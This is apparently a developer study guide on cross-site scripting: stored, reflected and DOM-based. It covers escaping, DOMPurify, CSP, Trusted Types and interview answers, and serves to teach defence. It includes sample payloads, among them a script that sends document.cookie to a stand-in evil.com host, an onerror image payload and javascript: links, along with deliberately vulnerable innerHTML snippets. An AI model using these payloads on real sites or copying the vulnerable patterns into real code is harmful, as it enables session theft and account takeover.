XSS — Stored, Reflected, DOM-Based
XSS (Cross-Site Scripting) = attacker-controlled JavaScript runs in your origin’s context. Three flavors: stored (saved to DB, served to other users), reflected (echoed back from URL/form params), DOM-based (introduced by JS DOM manipulation). All have the same effect: the attacker’s code runs as if it were yours — reads cookies (unless httpOnly), session storage, tokens; submits forms with the user’s session; impersonates the user. The senior defense in depth: escape on output, CSP as backup, httpOnly cookies for auth, textContent not innerHTML by default, DOMPurify when sanitization is mandatory.
The three XSS types — examples.
Stored: attacker submits <script>steal()</script> as a comment; your app saves it; other users load the page; their browsers execute it.
<!-- Server returns -->
<div class="comment">
Great post! <script>fetch("//evil.com?c=" + document.cookie)</script>
</div>Worst form — affects every user who views the page. Persistent.
Reflected: URL param echoed back unescaped.
https://yoursite.com/search?q=<script>alert(1)</script><!-- Server returns -->
<h1>Results for: <script>alert(1)</script></h1>Attacker shares the link; victim clicks; their browser runs the script. Phishing vector.
DOM-based: no server involvement. Client-side JS reads user input and inserts unsafely.
// Bad — directly writes location.hash into HTML
document.getElementById("output").innerHTML = "Hash: " + location.hash;
// Attacker URL
https://yoursite.com/#<img src=x onerror=alert(1)>The server is innocent; the bug is purely client-side. Often hardest to find — doesn’t show in server logs.
What can XSS actually do?
Anything your JS can do — which is everything in your origin:
- Read cookies (unless
httpOnly) — session hijacking. - Read localStorage/sessionStorage — auth tokens, sensitive data.
- Make API calls as the user — change settings, transfer funds, post messages.
- Read DOM — screenshot the page contents.
- Install a keylogger — capture keystrokes.
- Phish — replace the login form with a fake one that submits to attacker.
- Pivot — load more attacker code, escalate.
XSS is complete account takeover. Treat as P0.
Output encoding — the primary defense.
Escape (encode) data based on where it lands:
| Context | Escape using |
|---|---|
| HTML body | escape < > & " ' to entities (or just use textContent) |
HTML attribute (<a href="...">) |
escape + quote properly |
<script> body |
JSON.stringify (and consider just avoiding) |
CSS (style=, <style>) |
tighter encoding; mostly avoid embedding user data |
URL (href="...") |
URL-encode + protocol allowlist |
Modern frameworks auto-escape by default:
// React — auto-escapes
function Comment({ text }: { text: string }) {
// safe — text is escaped
return <div>{text}</div>;
}<!-- Vue — auto-escapes -->
<div>{{ text }}</div> <!-- safe -->The escape hatches
The dangerous escape hatches are where XSS sneaks in:
// React
// XSS risk
<div dangerouslySetInnerHTML={{ __html: userText }} />
// Vue
// XSS risk
<div v-html="userText"></div>
// Plain JS
// XSS risk
el.innerHTML = userText;Default to {text} / {{text}} / textContent. Reach for innerHTML/dangerouslySetInnerHTML only when you must render trusted HTML, and sanitize first.
When must you render HTML — how to sanitize?
DOMPurify — trusted HTML sanitizer. Removes scripts, dangerous attributes, event handlers.
import DOMPurify from "dompurify";
const safe = DOMPurify.sanitize(userHtml);
// safe is HTML with no <script>, no onerror=, no javascript:, etc.
// React
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userHtml) }} />Use cases: rich-text comments, markdown rendered to HTML, WYSIWYG editor output. Never write your own sanitizer.
DOMPurify is well-maintained, used by Google, mature. The standard answer.
URL-based XSS — href="javascript:...".
<a href="..."> with a javascript: URL runs code on click:
// Bad — user can supply a javascript: URL
const url = userProvidedUrl;
<a href={url}>Link</a> // <a href="javascript:steal()">Link</a> if user controls it
// Good — allowlist protocols
const safe = /^https?:\/\//.test(url) || url.startsWith("/") ? url : "#";
<a href={safe}>Link</a>React does warn on javascript: URLs (logs to console) but doesn’t block. Add explicit protocol checking.
DOM-based XSS — the harder one.
Pure client-side. Comes from:
location.hash,location.search,document.referrer→ inserted into DOM unsanitized.postMessagedata → inserted unsanitized.window.name(cross-site) → read and used.- WebSocket messages → inserted.
Treat any data from outside your code as untrusted. Escape on the way into the DOM (or use textContent).
// Bad
el.innerHTML = location.hash.slice(1);
// Good
el.textContent = location.hash.slice(1);How does CSP help?
Content Security Policy is the browser-enforced “what can run here?” allowlist. Even if XSS injects <script>, the browser refuses to execute it if it’s not from an allowed source.
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'Effect: any <script> without nonce="abc123" won’t run. Inline event handlers (<button onclick=...>) won’t run. eval is blocked.
CSP is your second line of defense — even if you slip on output encoding, CSP blocks the script. See Content Security Policy (CSP).
Trusted Types — the newer browser feature.
Trusted Types (Chrome/Edge 83+) require dangerous DOM sinks (innerHTML, script.src, etc.) to receive a “trusted” type, not a raw string. Forces explicit sanitization at the sink.
Content-Security-Policy: require-trusted-types-for 'script'// Without Trusted Types: this works (XSS risk)
el.innerHTML = userHtml;
// With Trusted Types enforced: throws TypeError unless wrapped
const policy = trustedTypes.createPolicy("sanitize", {
createHTML: (input) => DOMPurify.sanitize(input),
});
el.innerHTML = policy.createHTML(userHtml); // okBrowser support: Chrome/Edge solid; Safari/Firefox have polyfills. Not universal yet; pair with CSP + escape-by-default.
React-specific XSS gotchas.
dangerouslySetInnerHTML— the obvious. Sanitize.hreffrom user input —javascript:URL. Allowlist protocols.<a ref={...}>interpolation — if you build an HTML string andsetHTMLit, XSS. Use JSX.- Server-side
renderToStringof user content — auto-escaped by React; safe. - JSON in
<script>tags for hydration — escape</script>in the JSON string. React handles for__NEXT_DATA__; hand-rolled SSR may not.
Vue-specific XSS gotchas.
v-html— same asdangerouslySetInnerHTML. Sanitize.v-bind:hrefwithjavascript:— allowlist protocols.v-bind="$attrs"— passing arbitrary attributes from parent; if those include event handlers from user input, XSS.
Auto-escaping isn’t enough — when?
- You’re building HTML strings manually (template engines, hand-rolled). Don’t.
- You’re passing through
innerHTML— sanitize. - Generating CSS from input — different escaping rules; safer to disallow.
- Building URL params — use
URLSearchParams, not concatenation. - Embedding JSON in HTML for hydration — escape
</script>and<!--.
Gotchas
SVGfiles can contain<script>tags —<img src="evil.svg">doesn’t execute it, but<object>or inline<svg>can. Don’t allow user-uploaded SVG without sanitization.- Markdown that allows raw HTML is an XSS vector — disable raw HTML or sanitize the output with DOMPurify.
window.openerleak —<a target="_blank">withoutrel="noopener"lets the opened page modifywindow.opener.location— phishing redirect. Always addrel="noopener noreferrer".postMessagewithout origin check — receiving messages from any origin can be XSS. Validateevent.originagainst an allowlist.document.writeis a magnet for XSS. Don’t use; ever.- Service Worker scope — a XSS that registers a SW can persist across page loads.
- CSP
unsafe-inline'andunsafe-eval'make CSP useless. Avoid; use nonces/hashes.
Related
Further reading
- OWASP XSS Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- DOMPurify: https://github.com/cure53/DOMPurify
- Trusted Types: https://web.dev/articles/trusted-types
- React docs — Security: https://legacy.reactjs.org/docs/dom-elements.html#dangerouslysetinnerhtml
Interview angle 6
- “What are the three kinds of XSS?” - stored, where the payload is persisted and served to everyone; reflected, where it comes back from a URL and needs the victim to follow a link; and DOM-based, where the payload never reaches the server at all and your own JavaScript writes it into the page. All three end in the attacker running code as the user.
- “How do you defend against it?” - escape on output, which modern
frameworks do by default. The risk is the deliberate escape hatch:
innerHTML,dangerouslySetInnerHTML,v-html. Then CSP as the second line, andHttpOnlycookies so a successful XSS still cannot read the session token.- Follow-up: “You genuinely need to render user HTML.” - DOMPurify, and never a sanitiser you wrote. The bypass list for hand-rolled sanitisers is long, creative, and constantly extended.
- “Where does DOM-based XSS come from?” - data your own code reads from
outside itself:
location.hash,postMessage, a query parameter, a value from storage. The server never sees it, so server-side escaping cannot help. Default totextContentand treat anything not written by you as untrusted. - “What is the trap with links?” - a
hrefbuilt from user input. Ajavascript:URL executes on click, so the protocol needs an allowlist -http,https,mailto- rather than a blocklist. Andtarget="_blank"needsrel="noopener noreferrer"so the opened page cannot reach back throughwindow.opener. - “What is Trusted Types?” - a browser enforcement layer that makes
dangerous DOM sinks reject plain strings, so
innerHTMLonly accepts a value produced by an explicit policy. It is stronger than CSP because it catches the sink rather than the source, and it is Chromium-first with a polyfill elsewhere. - “Any file-upload angle?” - SVG. It can contain script and is served from your origin, so an unsanitised user-uploaded SVG is stored XSS with a friendly-looking file extension.